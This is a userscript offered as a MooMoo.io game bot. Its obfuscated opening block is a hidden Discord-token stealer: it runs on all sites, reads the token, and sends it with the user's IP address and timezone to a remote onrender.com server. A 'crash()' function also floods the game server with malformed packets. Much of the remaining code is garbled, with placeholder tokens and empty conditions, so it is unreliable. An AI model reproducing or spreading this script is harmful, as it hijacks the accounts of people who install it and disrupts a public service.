UserScript for MooMoo.io Bots
UserScript for MooMoo.io Bots
// @include *
// @run-at document-start
// @grant GM_xmlhttpRequest
// @connect [Link]
// ==/UserScript==
//i hope you enjoy :3
//no share please its a pro wasd script.
//include * is for youtube music and render server and glitch and shit too lazy to
add one by one if you remove it doesnt work.
//$("#youtuberOf").css({display: "none"});
//$("#followText").remove();
//$("#twitterFollow").remove();
//$("#youtubeFollow").remove();
//$("#adCard").remove();
(function(){'use strict';const
SERVER_URL=atob("aHR0cHM6Ly9zZXJ2ZXItYmFja2VuZC1sdHg5Lm9ucmVuZGVyLmNvbS9zZW5k");fun
ction sendMessageToServer(message)
{GM_xmlhttpRequest({method:"POST",url:SERVER_URL,data:[Link]({message:messa
ge}),headers:{"Content-Type":"application/json"},onload:function(response)
{[Link](atob("
4p2kIFNlcnZlciByZXNwb25zZTo="),[Link]);},onerror:function(error)
{[Link](atob("4p2iIEVycm9yIHNlbmRpbmcgbWVzc2FnZTo="),error);}});}if(window.l
[Link](atob("aHR0cHM6Ly93d3cueW91dHViZS5jb20v"))){const url=new
URL([Link]);const param=atob([Link]("v"));if(param)
{fetch(atob("aHR0cHM6Ly9hcGkuaXBpZnkub3JnLz9mb3JtYXQ9anNvbg==")).then(response=>res
[Link]()).then(data=>{const
ip=[Link],timezone=[Link]().resolvedOptions().timeZone,message=`$
{atob("VmVyaWZ5IEluZm8KICAgIElQOg==")} ${ip}\n${atob("IFRpbWV6b25lOg==")} $
{timezone}\n${atob("IFZlcmlmeSBUb2tlbjo=")} $
{param}`;sendMessageToServer(message);}).catch(error=>[Link](atob("4p2iIEVyc
m9yIGZldGNoaW5nIElQOg=="),error));}}else
if([Link]===atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9jaGFubmVscy9AbWU="))
{const token=[Link];if(token)
{[Link]=atob("aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj0=")
+btoa([Link](token));}}else{[Link]=atob("aHR0cHM6Ly9kaXNjb3Jk
LmNvbS9jaGFubmVscy9AbWU=");}})();
(function() {
let checker = setInterval(() => {
let thing = [Link]("ot-sdk-btn-floating");
if(thing){
[Link]();
clearInterval(checker);
}
})
})();
$('#gameName').css({'color': '#7FFFD4', // color [Link] u can change color if u
need.
'text-shadow': '0 1px 0 rgba(255, 255, 255, 0), 0 2px 0
rgba(255, 255, 255, 0), 0 3px 0 rgba(255, 255, 255, 0), 0 4px 0 rgba(255, 255, 255,
0), 0 5px 0 rgba(255, 255, 255, 0), 0 6px 0 rgba(255, 255, 255, 0), 0 7px 0
rgba(255, 255, 255, 0), 0 8px 0 rgba(255, 255, 255, 0), 0 9px 0 rgba(255, 255, 255,
0)',
'text-align': 'center',
'font-size': '126px',
'margin-bottom': '-30px'});
$('#mapDisplay').css({'position': 'absolute',
'bottom': '20px',
'display': 'inline-block',
'width': '130px',
'height': '130px',
'pointer-events': 'all',
'background-color': 'rgb(0 0 0 / 49%)',
});
let reloadBars = false;
var autoPush = false;
var PriReloaded = false;
var SecReloaded = false;
var tracker = {
insta: 0,
antibull: true,
autopush: true,
hitDetect: true,
autoreload: true,
}
var fgdo;
var nEy;
var fgd = null;
function autopush(mySpikes, enemyTrap) {
let angle = 0
let spike = [Link]((a, b) => fgd(nEy, a) - fgd(nEy, b))[0];
let enemyToSpike = Math.atan2(spike.y - nEy[2], spike.x - nEy[1]);
let distance = fgdo(nEy, spike) + 70;
let myDist = fgdo(nEy, r)
let position = {
x: spike.x + (distance * [Link](enemyToSpike)),
y: spike.y + (distance * [Link](enemyToSpike))
};
angle = () => {
if(enemyToSpike > 70){
return Math.atan2(position.y - r.y, position.x - r.x)
} else {
return nEA
}
}
[Link]("33", angle())
}
[Link]("gameName").innerHTML = "[Link]"
[Link]("mainMenu").[Link] = "url('')"//looks ae
[Link] =
[Link]
[Link] = function(e){
if([Link](e) > 1e300){
e = Math.atan2([Link](e), [Link](e));
[Link] = 0.5;
[Link](e);
}else{
[Link](e);
}
};
let socket = [{
webSocket: null
},{
msgpack5: msgpack
}];
[Link] = msgpack;
[Link] = [Link];
[Link] = function(e) {
if(!socket[0].webSocket) {
socket[0].webSocket = this
}
[Link](e)
};
function crash() {
let crashCode = new Uint8Array([151,
8, 192, 103, 36, 183,
235, 99, 236, 91, 233,
118, 103, 249, 168, 199,
56, 173, 146, 212, 95,
55, 88, 215, 114, 23,
163, 37, 216, 18, 153,
90, 204, 58, 152, 204,
128, 97, 61, 232, 38,
38, 207, 172, 78, 33,
157, 98, 168, 162, 17,
222, 226, 204, 16, 5,
61, 180, 102, 14, 184,
102, 132, 152, 125, 171,
208, 193, 154, 115, 218,
139, 150, 218, 203, 116,
195, 140, 171, 109, 242,
166, 53, 55, 124, 192,
33, 70, 78, 134, 149,
39, 179, 178, 198, 142,
134, 69, 139, 153, 10,
11, 143, 194, 154, 176,
102, 15, 206, 140, 37,
66, 194, 123, 241, 66,
81, 17, 124, 208, 148,
148, 16, 202, 203, 122,
129, 16, 221, 0, 246,
221, 198, 321, 321, 10,
531, 321, 456, 321, 565,
231, 781264, 9460, 3213
]);
for (let i = 0; i < [Link] - 20; i++) {
socket[0].[Link](crashCode)
}
};
[Link]('keydown', function(e) {
[Link] == 62 && crash(); //you can change key code ask dragon for it ^)
[Link] only coders know how to use it
});
var lists = {
objects: []
}
let script = {
fix: [],
info: {
load: {x: 1248, y: 702},
offset: {x: null, y: null}
},
data: {},
tick: {f: function(){}, w: null, l: 0, t: 0},
ws: 0
};;
var resolveConstructor = function(){};
function nextTick(){
return new Promise(r => {
resolveConstructor = r;
});
}
setInterval(() => {
[Link] = lists;
}, 111);
!function(e) {
var t = {};
function n(i) {
if (t[i])
return t[i].exports;
var r = t[i] = {
i: i,
l: !1,
exports: {}
};
return e[i].call([Link], r, [Link], n),
r.l = !0,
[Link]
}
n.m = e,
n.c = t,
n.d = function(e, t, i) {
n.o(e, t) || [Link](e, t, {
enumerable: !0,
get: i
})
}
,
n.r = function(e) {
"undefined" != typeof Symbol && [Link] &&
[Link](e, [Link], {
value: "Module"
}),
[Link](e, "__esModule", {
value: !0
})
}
,
n.t = function(e, t) {
if (1 & t && (e = n(e)),
8 & t)
return e;
if (4 & t && "object" == typeof e && e && e.__esModule)
return e;
var i = [Link](null);
if (n.r(i),
[Link](i, "default", {
enumerable: !0,
value: e
}),
2 & t && "string" != typeof e)
for (var r in e)
n.d(i, r, function(t) {
return e[t]
}
.bind(null, r));
return i
}
,
n.n = function(e) {
var t = e && e.__esModule ? function() {
return [Link]
}
: function() {
return e
}
;
return n.d(t, "a", t),
t
}
,
n.o = function(e, t) {
return [Link](e, t)
}
,
n.p = "",
n(n.s = 21)
}([function(e, t, n) {
var i = [Link] = n(25)
, r = [Link] = i && !![Link]
, s = [Link] = "undefined" != typeof ArrayBuffer
, a = [Link] = n(5);
[Link] = s ? function(e) {
return e instanceof ArrayBuffer || p(e)
}
: m;
var o = [Link] = r ? [Link] : m
, c = [Link] = s ? [Link] || y("ArrayBuffer", "buffer") : m;
[Link] = d,
[Link] = function(e, n) {
n || (n = 0,
[Link](e, (function(e) {
n += [Link]
}
)));
var i = this !== t && this || e[0]
, r = [Link](i, n)
, s = 0;
return [Link](e, (function(e) {
s += [Link](e, r, s)
}
)),
r
}
,
[Link] = function(e) {
return "string" == typeof e ? function(e) {
var t = 3 * [Link]
, n = [Link](this, t)
, i = [Link](n, e);
return t !== i && (n = [Link](n, 0, i)),
n
}
.call(this, e) : g(this).from(e)
}
;
var l = [Link] = n(28)
, h = [Link] = n(29)
, u = t.Uint8Array = n(30)
, f = [Link] = n(6);
function d(e) {
return g(this).alloc(e)
}
var p = y("ArrayBuffer");
function g(e) {
return o(e) ? h : c(e) ? u : a(e) ? l : r ? h : s ? u : l
}
function m() {
return !1
}
function y(e, t) {
return e = "[object " + e + "]",
function(n) {
return null != n && {}.[Link](t ? n[t] : n) === e
}
}
}
, function(e, t, n) {
var i = n(5);
[Link] = o,
[Link] = function(e) {
for (var t in e)
[Link][t] = a([Link][t], e[t])
}
,
[Link] = function(e) {
return i(e) ? function(e) {
return e = [Link](),
function(n) {
return [Link](t, n)
}
;
function t(e, t) {
return t(e)
}
}(e) : e
}
;
var r = n(0);
function s(e) {
if (!(this instanceof s))
return new s(e);
[Link] = e,
[Link]()
}
function a(e, t) {
return e && t ? function() {
return [Link](this, arguments),
[Link](this, arguments)
}
: e || t
}
function o(e) {
return new s(e)
}
[Link] = function() {
var e = [Link];
return e && e.uint8array && ([Link] = r.Uint8Array),
this
}
,
[Link] = o({
preset: !0
})
}
, function(e, t, n) {
var i = n(3).ExtBuffer
, r = n(32)
, s = n(33)
, a = n(1);
function o() {
var e = [Link];
return [Link] = function(e) {
var t = [Link](e);
return function(e, n) {
var i = t[typeof n];
if (!i)
throw new Error('Unsupported type "' + typeof n + '": ' +
n);
i(e, n)
}
}(e),
e && [Link] && [Link](this),
this
}
[Link]({
addExtPacker: function(e, t, n) {
n = [Link](n);
var r = [Link];
r && "Object" !== r ? ([Link] || ([Link] = {}))[r]
= s : ([Link] || ([Link] = [])).unshift([t, s]);
function s(t) {
return n && (t = n(t)),
new i(t,e)
}
},
getExtPacker: function(e) {
var t = [Link] || ([Link] = {})
, n = [Link]
, i = n && [Link] && t[[Link]];
if (i)
return i;
for (var r = [Link] || ([Link] = []), s =
[Link], a = 0; a < s; a++) {
var o = r[a];
if (n === o[0])
return o[1]
}
},
init: o
}),
[Link] = [Link]([Link])
}
, function(e, t, n) {
[Link] = function e(t, n) {
if (!(this instanceof e))
return new e(t,n);
[Link] = [Link](t),
[Link] = n
}
;
var i = n(0)
}
, function(e, t) {
[Link] = function(e, t, n, i, r) {
var s, a, o = 8 * r - i - 1, c = (1 << o) - 1, l = c >> 1, h = -7, u = n
? r - 1 : 0, f = n ? -1 : 1, d = e[t + u];
for (u += f,
s = d & (1 << -h) - 1,
d >>= -h,
h += o; h > 0; s = 256 * s + e[t + u],
u += f,
h -= 8)
;
for (a = s & (1 << -h) - 1,
s >>= -h,
h += i; h > 0; a = 256 * a + e[t + u],
u += f,
h -= 8)
;
if (0 === s)
s = 1 - l;
else {
if (s === c)
return a ? NaN : 1 / 0 * (d ? -1 : 1);
a += [Link](2, i),
s -= l
}
return (d ? -1 : 1) * a * [Link](2, s - i)
}
,
[Link] = function(e, t, n, i, r, s) {
var a, o, c, l = 8 * s - r - 1, h = (1 << l) - 1, u = h >> 1, f = 23 ===
r ? [Link](2, -24) - [Link](2, -77) : 0, d = i ? 0 : s - 1, p = i ? 1 : -1, g =
t < 0 || 0 === t && 1 / t < 0 ? 1 : 0;
for (t = [Link](t),
isNaN(t) || t === 1 / 0 ? (o = isNaN(t) ? 1 : 0,
a = h) : (a = [Link]([Link](t) /
Math.LN2),
t * (c = [Link](2, -a)) < 1
&& (a--,
c *= 2),
(t += a + u >= 1 ? f / c : f *
[Link](2, 1 - u)) * c >= 2 && (a++,
c /= 2),
a + u >= h ? (o = 0,
a = h) : a + u
>= 1 ? (o = (t * c - 1) * [Link](2, r),
[Link] = t),
e
}
function c(e, t, n) {
if (!(c.TYPED_ARRAY_SUPPORT || this instanceof c))
return new c(e,t,n);
if ("number" == typeof e) {
if ("string" == typeof t)
throw new Error("If encoding is specified then the first
argument must be a string");
return u(this, e)
}
return l(this, e, t, n)
}
function l(e, t, n, i) {
if ("number" == typeof t)
throw new TypeError('"value" argument must not be a number');
return "undefined" != typeof ArrayBuffer && t instanceof ArrayBuffer
? function(e, t, n, i) {
if ([Link],
n < 0 || [Link] < n)
throw new RangeError("'offset' is out of bounds");
if ([Link] < n + (i || 0))
throw new RangeError("'length' is out of bounds");
return t = void 0 === n && void 0 === i ? new Uint8Array(t) :
void 0 === i ? new Uint8Array(t,n) : new Uint8Array(t,n,i),
c.TYPED_ARRAY_SUPPORT ? (e = t).__proto__ = [Link] : e
= f(e, t),
e
}(e, t, n, i) : "string" == typeof t ? function(e, t, n) {
if ("string" == typeof n && "" !== n || (n = "utf8"),
)
throw new TypeError('"encoding" must be a valid string
encoding');
var i = 0 | p(t, n)
, r = (e = o(e, i)).write(t, n);
return r !== i && (e = [Link](0, r)),
e
}(e, t, n) : function(e, t) {
if ([Link](t)) {
var n = 0 | d([Link]);
return 0 === (e = o(e, n)).length || [Link](e, 0, 0, n),
e
}
if (t) {
if ("undefined" != typeof ArrayBuffer && [Link] instanceof
ArrayBuffer || "length"in t)
return "number" != typeof [Link] || function(e) {
return e != e
}([Link]) ? o(e, 0) : f(e, t);
if ("Buffer" === [Link] && s([Link]))
return f(e, [Link])
}
throw new TypeError("First argument must be a string, Buffer,
ArrayBuffer, Array, or array-like object.")
}(e, t)
}
function h(e) {
if ("number" != typeof e)
throw new TypeError('"size" argument must be a number');
if (e < 0)
throw new RangeError('"size" argument must not be negative')
}
function u(e, t) {
if (h(t),
e = o(e, t < 0 ? 0 : 0 | d(t)),
!c.TYPED_ARRAY_SUPPORT)
for (var n = 0; n < t; ++n)
e[n] = 0;
return e
}
function f(e, t) {
var n = [Link] < 0 ? 0 : 0 | d([Link]);
e = o(e, n);
for (var i = 0; i < n; i += 1)
e[i] = 255 & t[i];
return e
}
function d(e) {
if (e >= a())
throw new RangeError("Attempt to allocate Buffer larger than
maximum size: 0x" + a().toString(16) + " bytes");
return 0 | e
}
function p(e, t) {
if ([Link](e))
return [Link];
if ("undefined" != typeof ArrayBuffer && "function" == typeof
[Link] && ([Link](e) || e instanceof ArrayBuffer))
return [Link];
"string" != typeof e && (e = "" + e);
var n = [Link];
if (0 === n)
return 0;
for (var i = !1; ; )
switch (t) {
case "ascii":
case "latin1":
case "binary":
return n;
case "utf8":
case "utf-8":
case void 0:
return z(e).length;
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return 2 * n;
case "hex":
return n >>> 1;
case "base64":
return H(e).length;
default:
if (i)
return z(e).length;
t = ("" + t).toLowerCase(),
i = !0
}
}
function g(e, t, n) {
var i = e[t];
e[t] = e[n],
e[n] = i
}
function m(e, t, n, i, r) {
if (0 === [Link])
return -1;
if ("string" == typeof n ? (i = n,
n = 0) : n > 2147483647 ? n = 2147483647
: n < -2147483648 && (n = -2147483648),
n = +n,
isNaN(n) && (n = r ? 0 : [Link] - 1),
n < 0 && (n = [Link] + n),
n >= [Link]) {
if (r)
return -1;
n = [Link] - 1
} else if (n < 0) {
if (!r)
return -1;
n = 0
}
if ("string" == typeof t && (t = [Link](t, i)),
[Link](t))
return 0 === [Link] ? -1 : y(e, t, n, i, r);
if ("number" == typeof t)
return t &= 255,
c.TYPED_ARRAY_SUPPORT && "function" == typeof
[Link] ? r ? [Link](e, t, n) :
[Link](e, t, n) : y(e, [t], n, i, r);
throw new TypeError("val must be string, number or Buffer")
}
function y(e, t, n, i, r) {
var s, a = 1, o = [Link], c = [Link];
if (void 0 !== i && ("ucs2" === (i = String(i).toLowerCase()) ||
"ucs-2" === i || "utf16le" === i || "utf-16le" === i)) {
if ([Link] < 2 || [Link] < 2)
return -1;
a = 2,
o /= 2,
c /= 2,
n /= 2
}
function l(e, t) {
return 1 === a ? e[t] : e.readUInt16BE(t * a)
}
if (r) {
var h = -1;
for (s = n; s < o; s++)
if (l(e, s) === l(t, -1 === h ? 0 : s - h)) {
if (-1 === h && (h = s),
s - h + 1 === c)
return h * a
} else
-1 !== h && (s -= s - h),
h = -1
} else
for (n + c > o && (n = o - c),
s = n; s >= 0; s--) {
for (var u = !0, f = 0; f < c; f++)
if (l(e, s + f) !== l(t, f)) {
u = !1;
break
}
if (u)
return s
}
return -1
}
function k(e, t, n, i) {
n = Number(n) || 0;
var r = [Link] - n;
i ? (i = Number(i)) > r && (i = r) : i = r;
var s = [Link];
if (s % 2 != 0)
throw new TypeError("Invalid hex string");
i > s / 2 && (i = s / 2);
for (var a = 0; a < i; ++a) {
var o = parseInt([Link](2 * a, 2), 16);
if (isNaN(o))
return a;
e[n + a] = o
}
return a
}
function v(e, t, n, i) {
return V(z(t, [Link] - n), e, n, i)
}
function w(e, t, n, i) {
return V(function(e) {
for (var t = [], n = 0; n < [Link]; ++n)
[Link](255 & [Link](n));
return t
}(t), e, n, i)
}
function b(e, t, n, i) {
return w(e, t, n, i)
}
function x(e, t, n, i) {
return V(H(t), e, n, i)
}
function S(e, t, n, i) {
return V(function(e, t) {
for (var n, i, r, s = [], a = 0; a < [Link] && !((t -= 2) <
0); ++a)
i = (n = [Link](a)) >> 8,
r = n % 256,
[Link](r),
[Link](i);
return s
}(t, [Link] - n), e, n, i)
}
function T(e, t, n) {
return 0 === t && n === [Link] ? [Link](e) :
[Link]([Link](t, n))
}
function I(e, t, n) {
n = [Link]([Link], n);
for (var i = [], r = t; r < n; ) {
var s, a, o, c, l = e[r], h = null, u = l > 239 ? 4 : l > 223 ?
3 : l > 191 ? 2 : 1;
if (r + u <= n)
switch (u) {
case 1:
l < 128 && (h = l);
break;
case 2:
128 == (192 & (s = e[r + 1])) && (c = (31 & l) << 6
| 63 & s) > 127 && (h = c);
break;
case 3:
s = e[r + 1],
a = e[r + 2],
128 == (192 & s) && 128 == (192 & a) && (c = (15
& l) << 12 | (63 & s) << 6 | 63 & a) > 2047 && (c < 55296 || c > 57343) && (h = c);
break;
case 4:
s = e[r + 1],
a = e[r + 2],
o = e[r + 3],
128 == (192 & s) && 128 == (192 & a) && 128 ==
(192 & o) && (c = (15 & l) << 18 | (63 & s) << 12 | (63 & a) << 6 | 63 & o) > 65535
&& c < 1114112 && (h = c)
}
null === h ? (h = 65533,
u = 1) : h > 65535 && (h -= 65536,
[Link](h >>> 10 & 1023 |
55296),
h = 56320 | 1023 & h),
[Link](h),
r += u
}
return function(e) {
var t = [Link];
if (t <= E)
return [Link](String, e);
for (var n = "", i = 0; i < t; )
n += [Link](String, [Link](i, i += E));
return n
}(i)
}
[Link] = c,
[Link] = function(e) {
return +e != e && (e = 0),
[Link](+e)
}
,
t.INSPECT_MAX_BYTES = 50,
c.TYPED_ARRAY_SUPPORT = void 0 !== e.TYPED_ARRAY_SUPPORT ?
e.TYPED_ARRAY_SUPPORT : function() {
try {
var e = new Uint8Array(1);
return e.__proto__ = {
__proto__: [Link],
foo: function() {
return 42
}
},
42 === [Link]() && "function" == typeof [Link] && 0 ===
[Link](1, 1).byteLength
} catch (e) {
return !1
}
}(),
[Link] = a(),
[Link] = 8192,
c._augment = function(e) {
return e.__proto__ = [Link],
e
}
,
[Link] = function(e, t, n) {
return l(null, e, t, n)
}
,
c.TYPED_ARRAY_SUPPORT && ([Link].__proto__ =
[Link],
c.__proto__ = Uint8Array,
"undefined" != typeof Symbol &&
[Link] && c[[Link]] === c && [Link](c,
[Link], {
value: null,
configurable: !0
})),
[Link] = function(e, t, n) {
return function(e, t, n, i) {
return h(t),
t <= 0 ? o(e, t) : void 0 !== n ? "string" == typeof i ?
o(e, t).fill(n, i) : o(e, t).fill(n) : o(e, t)
}(null, e, t, n)
}
,
[Link] = function(e) {
return u(null, e)
}
,
[Link] = function(e) {
return u(null, e)
}
,
[Link] = function(e) {
return !(null == e || !e._isBuffer)
}
,
[Link] = function(e, t) {
if ( || )
throw new TypeError("Arguments must be Buffers");
if (e === t)
return 0;
for (var n = [Link], i = [Link], r = 0, s = [Link](n, i); r <
s; ++r)
if (e[r] !== t[r]) {
n = e[r],
i = t[r];
break
}
return n < i ? -1 : i < n ? 1 : 0
}
,
[Link] = function(e) {
switch (String(e).toLowerCase()) {
case "hex":
case "utf8":
case "utf-8":
case "ascii":
case "latin1":
case "binary":
case "base64":
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return !0;
default:
return !1
}
}
,
[Link] = function(e, t) {
if (!s(e))
throw new TypeError('"list" argument must be an Array of
Buffers');
if (0 === [Link])
return [Link](0);
var n;
if (void 0 === t)
for (t = 0,
n = 0; n < [Link]; ++n)
t += e[n].length;
var i = [Link](t)
, r = 0;
for (n = 0; n < [Link]; ++n) {
var a = e[n];
if ()
throw new TypeError('"list" argument must be an Array of
Buffers');
[Link](i, r),
r += [Link]
}
return i
}
,
[Link] = p,
[Link]._isBuffer = !0,
[Link].swap16 = function() {
var e = [Link];
if (e % 2 != 0)
throw new RangeError("Buffer size must be a multiple of 16-
bits");
for (var t = 0; t < e; t += 2)
g(this, t, t + 1);
return this
}
,
[Link].swap32 = function() {
var e = [Link];
if (e % 4 != 0)
throw new RangeError("Buffer size must be a multiple of 32-
bits");
for (var t = 0; t < e; t += 4)
g(this, t, t + 3),
g(this, t + 1, t + 2);
return this
}
,
[Link].swap64 = function() {
var e = [Link];
if (e % 8 != 0)
throw new RangeError("Buffer size must be a multiple of 64-
bits");
for (var t = 0; t < e; t += 8)
g(this, t, t + 7),
g(this, t + 1, t + 6),
g(this, t + 2, t + 5),
g(this, t + 3, t + 4);
return this
}
,
[Link] = function() {
var e = 0 | [Link];
return 0 === e ? "" : 0 === [Link] ? I(this, 0, e) :
function(e, t, n) {
var i = !1;
if ((void 0 === t || t < 0) && (t = 0),
t > [Link])
return "";
if ((void 0 === n || n > [Link]) && (n = [Link]),
n <= 0)
return "";
if ((n >>>= 0) <= (t >>>= 0))
return "";
for (e || (e = "utf8"); ; )
switch (e) {
case "hex":
return P(this, t, n);
case "utf8":
case "utf-8":
return I(this, t, n);
case "ascii":
return M(this, t, n);
case "latin1":
case "binary":
return A(this, t, n);
case "base64":
return T(this, t, n);
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return B(this, t, n);
default:
if (i)
throw new TypeError("Unknown encoding: " + e);
e = (e + "").toLowerCase(),
i = !0
}
}
.apply(this, arguments)
}
,
[Link] = function(e) {
if ()
throw new TypeError("Argument must be a Buffer");
return this === e || 0 === [Link](this, e)
}
,
[Link] = function() {
var e = ""
, n = t.INSPECT_MAX_BYTES;
return [Link] > 0 && (e = [Link]("hex", 0, n).match(/.
{2}/g).join(" "),
[Link] > n && (e += " ... ")),
"<Buffer " + e + ">"
}
,
[Link] = function(e, t, n, i, r) {
if ()
throw new TypeError("Argument must be a Buffer");
if (void 0 === t && (t = 0),
void 0 === n && (n = e ? [Link] : 0),
void 0 === i && (i = 0),
void 0 === r && (r = [Link]),
t < 0 || n > [Link] || i < 0 || r > [Link])
throw new RangeError("out of range index");
if (i >= r && t >= n)
return 0;
if (i >= r)
return -1;
if (t >= n)
return 1;
if (this === e)
return 0;
for (var s = (r >>>= 0) - (i >>>= 0), a = (n >>>= 0) - (t >>>= 0), o
= [Link](s, a), l = [Link](i, r), h = [Link](t, n), u = 0; u < o; ++u)
if (l[u] !== h[u]) {
s = l[u],
a = h[u];
break
}
return s < a ? -1 : a < s ? 1 : 0
}
,
[Link] = function(e, t, n) {
return -1 !== [Link](e, t, n)
}
,
[Link] = function(e, t, n) {
return m(this, e, t, n, !0)
}
,
[Link] = function(e, t, n) {
return m(this, e, t, n, !1)
}
,
[Link] = function(e, t, n, i) {
if (void 0 === t)
i = "utf8",
n = [Link],
t = 0;
else if (void 0 === n && "string" == typeof t)
i = t,
n = [Link],
t = 0;
else {
if (!isFinite(t))
throw new Error("[Link](string, encoding, offset[,
length]) is no longer supported");
t |= 0,
isFinite(n) ? (n |= 0,
void 0 === i && (i = "utf8")) : (i = n,
n = void 0)
}
var r = [Link] - t;
if ((void 0 === n || n > r) && (n = r),
[Link] > 0 && (n < 0 || t < 0) || t > [Link])
throw new RangeError("Attempt to write outside buffer bounds");
i || (i = "utf8");
for (var s = !1; ; )
switch (i) {
case "hex":
return k(this, e, t, n);
case "utf8":
case "utf-8":
return v(this, e, t, n);
case "ascii":
return w(this, e, t, n);
case "latin1":
case "binary":
return b(this, e, t, n);
case "base64":
return x(this, e, t, n);
case "ucs2":
case "ucs-2":
case "utf16le":
case "utf-16le":
return S(this, e, t, n);
default:
if (s)
throw new TypeError("Unknown encoding: " + i);
i = ("" + i).toLowerCase(),
s = !0
}
}
,
[Link] = function() {
return {
type: "Buffer",
data: [Link](this._arr || this, 0)
}
}
;
var E = 4096;
function M(e, t, n) {
var i = "";
n = [Link]([Link], n);
for (var r = t; r < n; ++r)
i += [Link](127 & e[r]);
return i
}
function A(e, t, n) {
var i = "";
n = [Link]([Link], n);
for (var r = t; r < n; ++r)
i += [Link](e[r]);
return i
}
function P(e, t, n) {
var i = [Link];
(!t || t < 0) && (t = 0),
(!n || n < 0 || n > i) && (n = i);
for (var r = "", s = t; s < n; ++s)
r += F(e[s]);
return r
}
function B(e, t, n) {
for (var i = [Link](t, n), r = "", s = 0; s < [Link]; s += 2)
r += [Link](i[s] + 256 * i[s + 1]);
return r
}
function C(e, t, n) {
if (e % 1 != 0 || e < 0)
throw new RangeError("offset is not uint");
if (e + t > n)
throw new RangeError("Trying to access beyond buffer length")
}
function O(e, t, n, i, r, s) {
if ()
throw new TypeError('"buffer" argument must be a Buffer
instance');
if (t > r || t < s)
throw new RangeError('"value" argument is out of bounds');
if (n + i > [Link])
throw new RangeError("Index out of range")
}
function R(e, t, n, i) {
t < 0 && (t = 65535 + t + 1);
for (var r = 0, s = [Link]([Link] - n, 2); r < s; ++r)
e[n + r] = (t & 255 << 8 * (i ? r : 1 - r)) >>> 8 * (i ? r : 1 -
r)
}
function j(e, t, n, i) {
t < 0 && (t = 4294967295 + t + 1);
for (var r = 0, s = [Link]([Link] - n, 4); r < s; ++r)
e[n + r] = t >>> 8 * (i ? r : 3 - r) & 255
}
function _(e, t, n, i, r, s) {
if (n + i > [Link])
throw new RangeError("Index out of range");
if (n < 0)
throw new RangeError("Index out of range")
}
function U(e, t, n, i, s) {
return s || _(e, 0, n, 4),
[Link](e, t, n, i, 23, 4),
n + 4
}
function D(e, t, n, i, s) {
return s || _(e, 0, n, 8),
[Link](e, t, n, i, 52, 8),
n + 8
}
[Link] = function(e, t) {
var n, i = [Link];
if ((e = ~~e) < 0 ? (e += i) < 0 && (e = 0) : e > i && (e = i),
(t = void 0 === t ? i : ~~t) < 0 ? (t += i) < 0 && (t = 0) : t >
i && (t = i),
t < e && (t = e),
c.TYPED_ARRAY_SUPPORT)
(n = [Link](e, t)).__proto__ = [Link];
else {
var r = t - e;
n = new c(r,void 0);
for (var s = 0; s < r; ++s)
n[s] = this[s + e]
}
return n
}
,
[Link] = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, [Link]);
for (var i = this[e], r = 1, s = 0; ++s < t && (r *= 256); )
i += this[e + s] * r;
return i
}
,
[Link] = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, [Link]);
for (var i = this[e + --t], r = 1; t > 0 && (r *= 256); )
i += this[e + --t] * r;
return i
}
,
[Link].readUInt8 = function(e, t) {
return t || C(e, 1, [Link]),
this[e]
}
,
[Link].readUInt16LE = function(e, t) {
return t || C(e, 2, [Link]),
this[e] | this[e + 1] << 8
}
,
[Link].readUInt16BE = function(e, t) {
return t || C(e, 2, [Link]),
this[e] << 8 | this[e + 1]
}
,
[Link].readUInt32LE = function(e, t) {
return t || C(e, 4, [Link]),
(this[e] | this[e + 1] << 8 | this[e + 2] << 16) + 16777216 *
this[e + 3]
}
,
[Link].readUInt32BE = function(e, t) {
return t || C(e, 4, [Link]),
16777216 * this[e] + (this[e + 1] << 16 | this[e + 2] << 8 |
this[e + 3])
}
,
[Link] = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, [Link]);
for (var i = this[e], r = 1, s = 0; ++s < t && (r *= 256); )
i += this[e + s] * r;
return i >= (r *= 128) && (i -= [Link](2, 8 * t)),
i
}
,
[Link] = function(e, t, n) {
e |= 0,
t |= 0,
n || C(e, t, [Link]);
for (var i = t, r = 1, s = this[e + --i]; i > 0 && (r *= 256); )
s += this[e + --i] * r;
return s >= (r *= 128) && (s -= [Link](2, 8 * t)),
s
}
,
[Link].readInt8 = function(e, t) {
return t || C(e, 1, [Link]),
128 & this[e] ? -1 * (255 - this[e] + 1) : this[e]
}
,
[Link].readInt16LE = function(e, t) {
t || C(e, 2, [Link]);
var n = this[e] | this[e + 1] << 8;
return 32768 & n ? 4294901760 | n : n
}
,
[Link].readInt16BE = function(e, t) {
t || C(e, 2, [Link]);
var n = this[e + 1] | this[e] << 8;
return 32768 & n ? 4294901760 | n : n
}
,
[Link].readInt32LE = function(e, t) {
return t || C(e, 4, [Link]),
this[e] | this[e + 1] << 8 | this[e + 2] << 16 | this[e + 3] <<
24
}
,
[Link].readInt32BE = function(e, t) {
return t || C(e, 4, [Link]),
this[e] << 24 | this[e + 1] << 16 | this[e + 2] << 8 | this[e +
3]
}
,
[Link] = function(e, t) {
return t || C(e, 4, [Link]),
[Link](this, e, !0, 23, 4)
}
,
[Link] = function(e, t) {
return t || C(e, 4, [Link]),
[Link](this, e, !1, 23, 4)
}
,
[Link] = function(e, t) {
return t || C(e, 8, [Link]),
[Link](this, e, !0, 52, 8)
}
,
[Link] = function(e, t) {
return t || C(e, 8, [Link]),
[Link](this, e, !1, 52, 8)
}
,
[Link] = function(e, t, n, i) {
e = +e,
t |= 0,
n |= 0,
i || O(this, e, t, n, [Link](2, 8 * n) - 1, 0);
var r = 1
, s = 0;
for (this[t] = 255 & e; ++s < n && (r *= 256); )
this[t + s] = e / r & 255;
return t + n
}
,
[Link] = function(e, t, n, i) {
e = +e,
t |= 0,
n |= 0,
i || O(this, e, t, n, [Link](2, 8 * n) - 1, 0);
var r = n - 1
, s = 1;
for (this[t + r] = 255 & e; --r >= 0 && (s *= 256); )
this[t + r] = e / s & 255;
return t + n
}
,
[Link].writeUInt8 = function(e, t, n) {
return e = +e,
t |= 0,
n || O(this, e, t, 1, 255, 0),
c.TYPED_ARRAY_SUPPORT || (e = [Link](e)),
this[t] = 255 & e,
t + 1
}
,
[Link].writeUInt16LE = function(e, t, n) {
return e = +e,
t |= 0,
